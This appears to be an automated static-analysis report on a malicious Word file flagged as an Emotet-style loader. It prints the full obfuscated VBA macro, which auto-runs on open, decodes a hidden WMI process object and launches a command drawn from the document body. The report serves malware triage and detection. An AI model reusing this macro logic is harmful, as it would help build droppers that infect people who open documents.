Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 68678ca7de009f6d…

MALICIOUS

Office (OLE)

115.0 KB Created: 2021-01-22 08:25:00 Authoring application: Microsoft Office Word First seen: 2021-02-18
MD5: 58497c04b56bee02727ec2472f78add3 SHA-1: be85879f9ac772527db76dd8a9aae068dc759e48 SHA-256: 68678ca7de009f6d8010796ac9b4e5e134e79d282bf789a4b3666bc67ddaec36
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Emodldr-10033991-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10033991-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Vmmilju0iufaaane2 = CreateObject(R7vnpsou3b2g2f0dzs)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16842 bytes
SHA-256: 7da8e59fbf67087c3a4a2ba620044b390718b814f0e439e46e27c73903adec4f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
138 of 219 identifiers look randomly generated (e.g. 'R7vnpsou3b2g2f0dzs'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Pidzz75a98wlxobmk8"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Jg5qf1o3tl07i7
End Sub

Attribute VB_Name = "Tm_xlb90u6n"
    

Attribute VB_Name = "C1i2icvhsqodpp002"
Function Jg5qf1o3tl07i7()
   GoTo cHxCFDF
Set xFQjpAGA = zuqXQJuTE
    Dim OmYbAXR, NmXbDQDaJ, htpndC As Long
    Dim WzScFZ As Word.Paragraph
    Dim fGRJFA() As Byte
    For Each WzScFZ In Pidzz75a98wlxobmk8.Paragraphs
        fGRJFA = WzScFZ.Range
        dscc = "sadsaccc" & WzScFZ.Range
        NmXbDQDaJ = UBound(fGRJFA) - 1
        OmYbAXR = 0
Set KSIJSd = zJNWBAFFH
        Do Until NmXbDQDaJ > NmXbDQDaJ
            If fGRJFA(NmXbDQDaJ) = 46 Or NmXbDQDaJ = NmXbDQDaJ Then
                dscc = "sasdsacc" & (OmYbAXR / 2) + 1 & " to " & (NmXbDQDaJ / 2) + 1 & MidB$(fGRJFA, OmYbAXR + 1, NmXbDQDaJ - OmYbAXR + 3)
                OmYbAXR = NmXbDQDaJ + 2
            End If
            NmXbDQDaJ = NmXbDQDaJ + 2
        Loop
    Next
cHxCFDF:
skuwd = Xvuvi_tmy_237 + Pidzz75a98wlxobmk8 _
. _
Content + C1ntf_s4c9rx3_
   GoTo ScuGZO
Set teMFDCCGz = zYXdJdKPU
    Dim oacPwTAA, tGcSJGbCX, uMHMjbIhi As Long
    Dim FCHkFJ As Word.Paragraph
    Dim wpgZU() As Byte
    For Each FCHkFJ In Pidzz75a98wlxobmk8.Paragraphs
        wpgZU = FCHkFJ.Range
        dscc = "sadsaccc" & FCHkFJ.Range
        tGcSJGbCX = UBound(wpgZU) - 1
        oacPwTAA = 0
Set oGzVEB = dgleDDEC
        Do Until tGcSJGbCX > tGcSJGbCX
            If wpgZU(tGcSJGbCX) = 46 Or tGcSJGbCX = tGcSJGbCX Then
                dscc = "sasdsacc" & (oacPwTAA / 2) + 1 & " to " & (tGcSJGbCX / 2) + 1 & MidB$(wpgZU, oacPwTAA + 1, tGcSJGbCX - oacPwTAA + 3)
                oacPwTAA = tGcSJGbCX + 2
            End If
            tGcSJGbCX = tGcSJGbCX + 2
        Loop
    Next
ScuGZO:
wjnsc = "x [ sh bpx [ sh b"
Wxb5z4zb6a4xlu = "x [ sh brox [ sh bx [ sh bcex [ sh bsx [ sh bsx [ sh bx [ sh b"
   GoTo prkQBR
Set mzWeDIG = xBLRF
    Dim DNUYJFv, FlfpHFGpB, QjxKAJ As Long
    Dim AKcZZIE As Word.Paragraph
    Dim ztrkjvu() As Byte
    For Each AKcZZIE In Pidzz75a98wlxobmk8.Paragraphs
        ztrkjvu = AKcZZIE.Range
        dscc = "sadsaccc" & AKcZZIE.Range
        FlfpHFGpB = UBound(ztrkjvu) - 1
        DNUYJFv = 0
Set GAVRF = bQuMDTJJl
        Do Until FlfpHFGpB > FlfpHFGpB
            If ztrkjvu(FlfpHFGpB) = 46 Or FlfpHFGpB = FlfpHFGpB Then
                dscc = "sasdsacc" & (DNUYJFv / 2) + 1 & " to " & (FlfpHFGpB / 2) + 1 & MidB$(ztrkjvu, DNUYJFv + 1, FlfpHFGpB - DNUYJFv + 3)
                DNUYJFv = FlfpHFGpB + 2
            End If
            FlfpHFGpB = FlfpHFGpB + 2
        Loop
    Next
prkQBR:
Glr7z2eun_zlq1tha = "x [ sh b:wx [ sh bx [ sh binx [ sh b3x [ sh b2x [ sh b_x [ sh b"
   GoTo yXIYv
Set CIVWGC = QjrFE
    Dim vhMrAvF, PLGHDrM, XTDDYUCC As Long
    Dim ZIRlBn As Word.Paragraph
    Dim HpijHIAZT() As Byte
    For Each ZIRlBn In Pidzz75a98wlxobmk8.Paragraphs
        HpijHIAZT = ZIRlBn.Range
        dscc = "sadsaccc" & ZIRlBn.Range
        PLGHDrM = UBound(HpijHIAZT) - 1
        vhMrAvF = 0
Set fZKCAIJ = xxqOsFzCp
        Do Until PLGHDrM > PLGHDrM
            If HpijHIAZT(PLGHDrM) = 46 Or PLGHDrM = PLGHDrM Then
                dscc = "sasdsacc" & (vhMrAvF / 2) + 1 & " to " & (PLGHDrM / 2) + 1 & MidB$(HpijHIAZT, vhMrAvF + 1, PLGHDrM - vhMrAvF + 3)
                vhMrAvF = PLGHDrM + 2
            End If
            PLGHDrM = PLGHDrM + 2
        Loop
    Next
yXIYv:
Nr18zzhc3i7k0l4 = "wx [ sh binx [ sh bmx [ sh bgmx [ sh btx [ sh bx [ sh b"
   GoTo vgsFDBHAC
Set hBuJA = dWnQAfER
    Dim SbQGJGGAq, LvooR, zcChCyBbU As Long
    Dim RTeVFc As Word.Paragraph
    Dim Jdzic() As Byte
    For Each RTeVFc In Pidzz75a98wlxobmk8.Paragraphs
        Jdzic = RTeVFc.Range
        dscc = "sadsaccc" & RTeVFc.Range
        LvooR = UBound(Jdzic) - 1
        SbQGJGGAq = 0
Set VZAnBzh = CrhDbRxEJ
        Do Until LvooR > LvooR
            If Jdzic(LvooR) = 46 Or LvooR = LvooR Then
                dscc = "sasdsacc" & (SbQGJGGAq / 2) + 1 & " to " & (LvooR / 2) + 1 & MidB$(Jdzic, SbQGJGGAq + 1, LvooR - SbQGJGGAq + 3)
                SbQGJGGAq = LvooR + 2
            End If
            LvooR = LvooR + 2
        Loop
    Next
vgsFDBHAC:
Gj84ureusmp44nh91 = "x [ sh bx [ sh b" + Mid(Application.Name, 60 / 10, 1) + "x [ sh bx [ sh b"
   GoTo wyFXDF
Set rPvoCgHbI = kUwhkYJqp
    Dim mjCCGk, QCWaLnJEl, yEkPKFj As Long
    Dim EtqMFLJYe As Word.Paragraph
    Dim HllsRXi() As Byte
    For Each EtqMFLJYe In Pidzz75a98wlxobmk8.Paragraphs
        HllsRXi = EtqMFLJYe.Range
        dscc = "sadsaccc" & EtqMFLJYe.Range
        QCWaLnJEl = UBound(HllsRXi) - 1
        mjCCGk = 0
Set rhnHIl = jMqMJCKS
        Do Until QCWaLnJEl > QCWaLnJEl
            If HllsRXi(QCWaLnJEl) = 46 Or QCWaLnJEl = QCWaLnJEl Then
                dscc = "sasdsacc" & (mjCCGk / 2) + 1 & " to " & (QCWaLnJEl / 2) + 1 & MidB$(HllsRXi, mjCCGk + 1, QCWaLnJEl - mjCCGk + 3)
                mjCCGk = QCWaLnJEl + 2
            End If
            QCWaLnJEl = QCWaLnJEl + 2
        Loop
    Next
wyFXDF:
Gjb72kvu81i = Nr18zzhc3i7k0l4 + Gj84ureusmp44nh91 + Glr7z2eun_zlq1tha + wjnsc + Wxb5z4zb6a4xlu
   GoTo eRaFY
Set PNpLQ = pIpLOd
    Dim sUIxrVJ, zddbjF, RBaMx As Long
    Dim YLjUIDqPJ As Word.Paragraph
    Dim qxhFkC() As Byte
    For Each YLjUIDqPJ In Pidzz75a98wlxobmk8.Paragraphs
        qxhFkC = YLjUIDqPJ.Range
        dscc = "sadsaccc" & YLjUIDqPJ.Range
        zddbjF = UBound(qxhFkC) - 1
        sUIxrVJ = 0
Set aTyeQjUrB = hkNnjFmS
        Do Until zddbjF > zddbjF
            If qxhFkC(zddbjF) = 46 Or zddbjF = zddbjF Then
                dscc = "sasdsacc" & (sUIxrVJ / 2) + 1 & " to " & (zddbjF / 2) + 1 & MidB$(qxhFkC, sUIxrVJ + 1, zddbjF - sUIxrVJ + 3)
                sUIxrVJ = zddbjF + 2
            End If
            zddbjF = zddbjF + 2
        Loop
    Next
eRaFY:
R7vnpsou3b2g2f0dzs = D885_bpcdn39i6(Gjb72kvu81i)
   GoTo PrqWJTH
Set KsCCAv = LGREU
    Dim aXASI, MhMOJ, UsSEDXME As Long
    Dim CoXmgxIx As Word.Paragraph
    Dim RSenisKD() As Byte
    For Each CoXmgxIx In Pidzz75a98wlxobmk8.Paragraphs
        RSenisKD = CoXmgxIx.Range
        dscc = "sadsaccc" & CoXmgxIx.Range
        MhMOJ = UBound(RSenisKD) - 1
        aXASI = 0
Set QYStDyD = YpBJfIOQz
        Do Until MhMOJ > MhMOJ
            If RSenisKD(MhMOJ) = 46 Or MhMOJ = MhMOJ Then
                dscc = "sasdsacc" & (aXASI / 2) + 1 & " to " & (MhMOJ / 2) + 1 & MidB$(RSenisKD, aXASI + 1, MhMOJ - aXASI + 3)
                aXASI = MhMOJ + 2
            End If
            MhMOJ = MhMOJ + 2
        Loop
    Next
PrqWJTH:
Set Vmmilju0iufaaane2 = CreateObject(R7vnpsou3b2g2f0dzs)
   GoTo rAceHQ
Set IUEEJTFD = FdorJAFC
    Dim MobWHGv, KGsZBB, bsFgFAGDQ As Long
    Dim UoZmCIDt As Word.Paragraph
    Dim zBoMiVC() As Byte
    For Each UoZmCIDt In Pidzz75a98wlxobmk8.Paragraphs
        zBoMiVC = UoZmCIDt.Range
        dscc = "sadsaccc" & UoZmCIDt.Range
        KGsZBB = UBound(zBoMiVC) - 1
        MobWHGv = 0
Set SEFvcFlEE = vyMeH
        Do Until KGsZBB > KGsZBB
            If zBoMiVC(KGsZBB) = 46 Or KGsZBB = KGsZBB Then
                dscc = "sasdsacc" & (MobWHGv / 2) + 1 & " to " & (KGsZBB / 2) + 1 & MidB$(zBoMiVC, MobWHGv + 1, KGsZBB - MobWHGv + 3)
                MobWHGv = KGsZBB + 2
            End If
            KGsZBB = KGsZBB + 2
        Loop
    Next
rAceHQ:
njcnja = Mid(skuwd, (1 + 1 + 1 + 1), Len(skuwd))
nnjasd = D885_bpcdn39i6(njcnja)
   GoTo qOSoJ
Set ynehEZDq = MsAzdB
    Dim DiFdIlE, wlaYJCI, JRrcUB As Long
    Dim vQDeFIH As Word.Paragraph
    Dim cJYzY() As Byte
    For Each vQDeFIH In Pidzz75a98wlxobmk8.Paragraphs
        cJYzY = vQDeFIH.Range
        dscc = "sadsaccc" & vQDeFIH.Range
        wlaYJCI = UBound(cJYzY) - 1
        DiFdIlE = 0
Set LbFwqviDW = xlSetIwED
        Do Until wlaYJCI > wlaYJCI
            If cJYzY(wlaYJCI) = 46 Or wlaYJCI = wlaYJCI Then
                dscc = "sasdsacc" & (DiFdIlE / 2) + 1 & " to " & (wlaYJCI / 2) + 1 & MidB$(cJYzY, DiFdIlE + 1, wlaYJCI - DiFdIlE + 3)
                DiFdIlE = wlaYJCI + 2
            End If
            wlaYJCI = wlaYJCI + 2
        Loop
    Next
qOSoJ:
Vmmilju0iufaaane2.Create nnjasd, T3cj7zm_7q9sq98, Bv0_bzmo0kxqyzf3hu
   GoTo TsEmPeLBd
Set wXkKHP = uXmGQMECC
    Dim hkYsBERb, XmVjE, RgyVQ As Long
    Dim yJXavFA As Word.Paragraph
    Dim mVaKA() As Byte
    For Each yJXavFA In Pidzz75a98wlxobmk8.Paragraphs
        mVaKA = yJXavFA.Range
        dscc = "sadsaccc" & yJXavFA.Range
        XmVjE = UBound(mVaKA) - 1
        hkYsBERb = 0
Set cQTqJGD = QMqsBHHMG
        Do Until XmVjE > XmVjE
            If mVaKA(XmVjE) = 46 Or XmVjE = XmVjE Then
                dscc = "sasdsacc" & (hkYsBERb / 2) + 1 & " to " & (XmVjE / 2) + 1 & MidB$(mVaKA, hkYsBERb + 1, XmVjE - hkYsBERb + 3)
                hkYsBERb = XmVjE + 2
            End If
            XmVjE = XmVjE + 2
        Loop
    Next
TsEmPeLBd:
End Function
Function D885_bpcdn39i6(Hw2w_hxjmfeq)
On Error Resume Next
   GoTo WJImGGsN
Set FMvzHHys = xjdEKJnGH
    Dim zddGGzUd, FnewFFDGW, HkCucll As Long
    Dim NVJIDXZku As Word.Paragraph
    Dim MaMjz() As Byte
    For Each NVJIDXZku In Pidzz75a98wlxobmk8.Paragraphs
        MaMjz = NVJIDXZku.Range
        dscc = "sadsaccc" & NVJIDXZku.Range
        FnewFFDGW = UBound(MaMjz) - 1
        zddGGzUd = 0
Set ANfuAAl = QqHcfGF
        Do Until FnewFFDGW > FnewFFDGW
            If MaMjz(FnewFFDGW) = 46 Or FnewFFDGW = FnewFFDGW Then
                dscc = "sasdsacc" & (zddGGzUd / 2) + 1 & " to " & (FnewFFDGW / 2) + 1 & MidB$(MaMjz, zddGGzUd + 1, FnewFFDGW - zddGGzUd + 3)
                zddGGzUd = FnewFFDGW + 2
            End If
            FnewFFDGW = FnewFFDGW + 2
        Loop
    Next
WJImGGsN:
Zhbacf2piq0 = Hw2w_hxjmfeq
   GoTo zAAtADG
Set PrwuWB = rXshoGJ
    Dim MVeOAATJF, LLOZDBFC, rVlFEFYN As Long
    Dim frPODAF As Word.Paragraph
    Dim FflZHJCGE() As Byte
    For Each frPODAF In Pidzz75a98wlxobmk8.Paragraphs
        FflZHJCGE = frPODAF.Range
        dscc = "sadsaccc" & frPODAF.Range
        LLOZDBFC = UBound(FflZHJCGE) - 1
        MVeOAATJF = 0
Set cwqzB = gynHJjGAI
        Do Until LLOZDBFC > LLOZDBFC
            If FflZHJCGE(LLOZDBFC) = 46 Or LLOZDBFC = LLOZDBFC Then
                dscc = "sasdsacc" & (MVeOAATJF / 2) + 1 & " to " & (LLOZDBFC / 2) + 1 & MidB$(FflZHJCGE, MVeOAATJF + 1, LLOZDBFC - MVeOAATJF + 3)
                MVeOAATJF = LLOZDBFC + 2
            End If
            LLOZDBFC = LLOZDBFC + 2
        Loop
    Next
zAAtADG:
Too14y3zdm86h8_2 = Mpfj67xdk7l_(Zhbacf2piq0)
   GoTo zIllBh
Set rEeCJD = TPAZBKF
    Dim KLxefJAPE, EAbuj, ltewE As Long
    Dim PhrlCDAA As Word.Paragraph
    Dim sbaTt() As Byte
    For Each PhrlCDAA In Pidzz75a98wlxobmk8.Paragraphs
        sbaTt = PhrlCDAA.Range
        dscc = "sadsaccc" & PhrlCDAA.Range
        EAbuj = UBound(sbaTt) - 1
        KLxefJAPE = 0
Set oJxwG = grXVST
        Do Until EAbuj > EAbuj
            If sbaTt(EAbuj) = 46 Or EAbuj = EAbuj Then
                dscc = "sasdsacc" & (KLxefJAPE / 2) + 1 & " to " & (EAbuj / 2) + 1 & MidB$(sbaTt, KLxefJAPE + 1, EAbuj - KLxefJAPE + 3)
                KLxefJAPE = EAbuj + 2
            End If
            EAbuj = EAbuj + 2
        Loop
    Next
zIllBh:
D885_bpcdn39i6 = Too14y3zdm86h8_2
   GoTo LPVYoCiIF
Set JHiwFI = NpqXkB
    Dim rTYvY, Cllda, OcaGAsBH As Long
    Dim EvDHGE As Word.Paragraph
    Dim FfMBE() As Byte
    For Each EvDHGE In Pidzz75a98wlxobmk8.Paragraphs
        FfMBE = EvDHGE.Range
        dscc = "sadsaccc" & EvDHGE.Range
        Cllda = UBound(FfMBE) - 1
        rTYvY = 0
Set QipLwCAGv = kvLISFCB
        Do Until Cllda > Cllda
            If FfMBE(Cllda) = 46 Or Cllda = Cllda Then
                dscc = "sasdsacc" & (rTYvY / 2) + 1 & " to " & (Cllda / 2) + 1 & MidB$(FfMBE, rTYvY + 1, Cllda - rTYvY + 3)
                rTYvY = Cllda + 2
            End If
            Cllda = Cllda + 2
        Loop
    Next
LPVYoCiIF:
End Function
Function Mpfj67xdk7l_(Vp5men6dzkgyz9g7j)
   GoTo wPUggAeHG
Set cAtBj = cvlyAjFeX
    Dim CBmFEeJ, SdwbDaJDB, jFwFxI As Long
    Dim pQObgIdBs As Word.Paragraph
    Dim IHnPAkQ() As Byte
    For Each pQObgIdBs In Pidzz75a98wlxobmk8.Paragraphs
        IHnPAkQ = pQObgIdBs.Range
        dscc = "sadsaccc" & pQObgIdBs.Range
        SdwbDaJDB = UBound(IHnPAkQ) - 1
        CBmFEeJ = 0
Set ZDFqFIH = NPDQGC
        Do Until SdwbDaJDB > SdwbDaJDB
            If IHnPAkQ(SdwbDaJDB) = 46 Or SdwbDaJDB = SdwbDaJDB Then
                dscc = "sasdsacc" & (CBmFEeJ / 2) + 1 & " to " & (SdwbDaJDB / 2) + 1 & MidB$(IHnPAkQ, CBmFEeJ + 1, SdwbDaJDB - CBmFEeJ + 3)
                CBmFEeJ = SdwbDaJDB + 2
            End If
            SdwbDaJDB = SdwbDaJDB + 2
        Loop
    Next
wPUggAeHG:
   GoTo ccbaGck
Set MLvQADE = YTrmqE
    Dim DCQDEIBFF, vCLbB, LsyfqU As Long
    Dim wikYJGF As Word.Paragraph
    Dim gfgNIJNIs() As Byte
    For Each wikYJGF In Pidzz75a98wlxobmk8.Paragraphs
        gfgNIJNIs = wikYJGF.Range
        dscc = "sadsaccc" & wikYJGF.Range
        vCLbB = UBound(gfgNIJNIs) - 1
        DCQDEIBFF = 0
Set gvYNHyGi = smgTdXXA
        Do Until vCLbB > vCLbB
            If gfgNIJNIs(vCLbB) = 46 Or vCLbB = vCLbB Then
                dscc = "sasdsacc" & (DCQDEIBFF / 2) + 1 & " to " & (vCLbB / 2) + 1 & MidB$(gfgNIJNIs, DCQDEIBFF + 1, vCLbB - DCQDEIBFF + 3)
                DCQDEIBFF = vCLbB + 2
            End If
            vCLbB = vCLbB + 2
        Loop
    Next
ccbaGck:
   GoTo RhFLAnAG
Set mknjGGJIW = FgdAIyg
    Dim eJyuHuJqI, PzXQCN, CPTSIxAM As Long
    Dim KsgOAJIDF As Word.Paragraph
    Dim pQfEJ() As Byte
    For Each KsgOAJIDF In Pidzz75a98wlxobmk8.Paragraphs
        pQfEJ = KsgOAJIDF.Range
        dscc = "sadsaccc" & KsgOAJIDF.Range
        PzXQCN = UBound(pQfEJ) - 1
        eJyuHuJqI = 0
Set VEEcRFs = JdTPG
        Do Until PzXQCN > PzXQCN
            If pQfEJ(PzXQCN) = 46 Or PzXQCN = PzXQCN Then
                dscc = "sasdsacc" & (eJyuHuJqI / 2) + 1 & " to " & (PzXQCN / 2) + 1 & MidB$(pQfEJ, eJyuHuJqI + 1, PzXQCN - eJyuHuJqI + 3)
                eJyuHuJqI = PzXQCN + 2
            End If
            PzXQCN = PzXQCN + 2
        Loop
    Next
RhFLAnAG:
Mpfj67xdk7l_ = Replace(Vp5men6dzkgyz9g7j, "x [ sh b", Va6ph8p4p5n76d)
   GoTo XBbMJ
Set LktdFC = oDNeyD
    Dim hXrkClE, TELxycDAC, FnRjDjGG As Long
    Dim LlDeF As Word.Paragraph
    Dim fhneyD() As Byte
    For Each LlDeF In Pidzz75a98wlxobmk8.Paragraphs
        fhneyD = LlDeF.Range
        dscc = "sadsaccc" & LlDeF.Range
        TELxycDAC = UBound(fhneyD) - 1
        hXrkClE = 0
Set iZCugHdD = YdBQHZIJ
        Do Until TELxycDAC > TELxycDAC
            If fhneyD(TELxycDAC) = 46 Or TELxycDAC = TELxycDAC Then
                dscc = "sasdsacc" & (hXrkClE / 2) + 1 & " to " & (TELxycDAC / 2) + 1 & MidB$(fhneyD, hXrkClE + 1, TELxycDAC - hXrkClE + 3)
                hXrkClE = TELxycDAC + 2
            End If
            TELxycDAC = TELxycDAC + 2
        Loop
    Next
XBbMJ:
   GoTo yLzpC
Set PadFsC = GDnkUGd
    Dim YTMcDa, kIdGEcKI, lryDDjI As Long
    Dim GuPoF As Word.Paragraph
    Dim kmiQZ() As Byte
    For Each GuPoF In Pidzz75a98wlxobmk8.Paragraphs
        kmiQZ = GuPoF.Range
        dscc = "sadsaccc" & GuPoF.Range
        kIdGEcKI = UBound(kmiQZ) - 1
        YTMcDa = 0
Set GHpXIA = vkSDxND
        Do Until kIdGEcKI > kIdGEcKI
            If kmiQZ(kIdGEcKI) = 46 Or kIdGEcKI = kIdGEcKI Then
                dscc = "sasdsacc" & (YTMcDa / 2) + 1 & " to " & (kIdGEcKI / 2) + 1 & MidB$(kmiQZ, YTMcDa + 1, kIdGEcKI - YTMcDa + 3)
                YTMcDa = kIdGEcKI + 2
            End If
            kIdGEcKI = kIdGEcKI + 2
        Loop
    Next
yLzpC:
   GoTo DXOTBiGA
Set nPhpLEvBC = IKiWRIJJ
    Dim oifRISGAp, XaHKCHAxJ, SqlLgUa As Long
    Dim kehdC As Word.Paragraph
    Dim QTFRDDUFQ() As Byte
    For Each kehdC In Pidzz75a98wlxobmk8.Paragraphs
        QTFRDDUFQ = kehdC.Range
        dscc = "sadsaccc" & kehdC.Range
        XaHKCHAxJ = UBound(QTFRDDUFQ) - 1
        oifRISGAp = 0
Set vzHBCHX = puwKL
        Do Until XaHKCHAxJ > XaHKCHAxJ
            If QTFRDDUFQ(XaHKCHAxJ) = 46 Or XaHKCHAxJ = XaHKCHAxJ Then
                dscc = "sasdsacc" & (oifRISGAp / 2) + 1 & " to " & (XaHKCHAxJ / 2) + 1 & MidB$(QTFRDDUFQ, oifRISGAp + 1, XaHKCHAxJ - oifRISGAp + 3)
                oifRISGAp = XaHKCHAxJ + 2
            End If
            XaHKCHAxJ = XaHKCHAxJ + 2
        Loop
    Next
DXOTBiGA:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.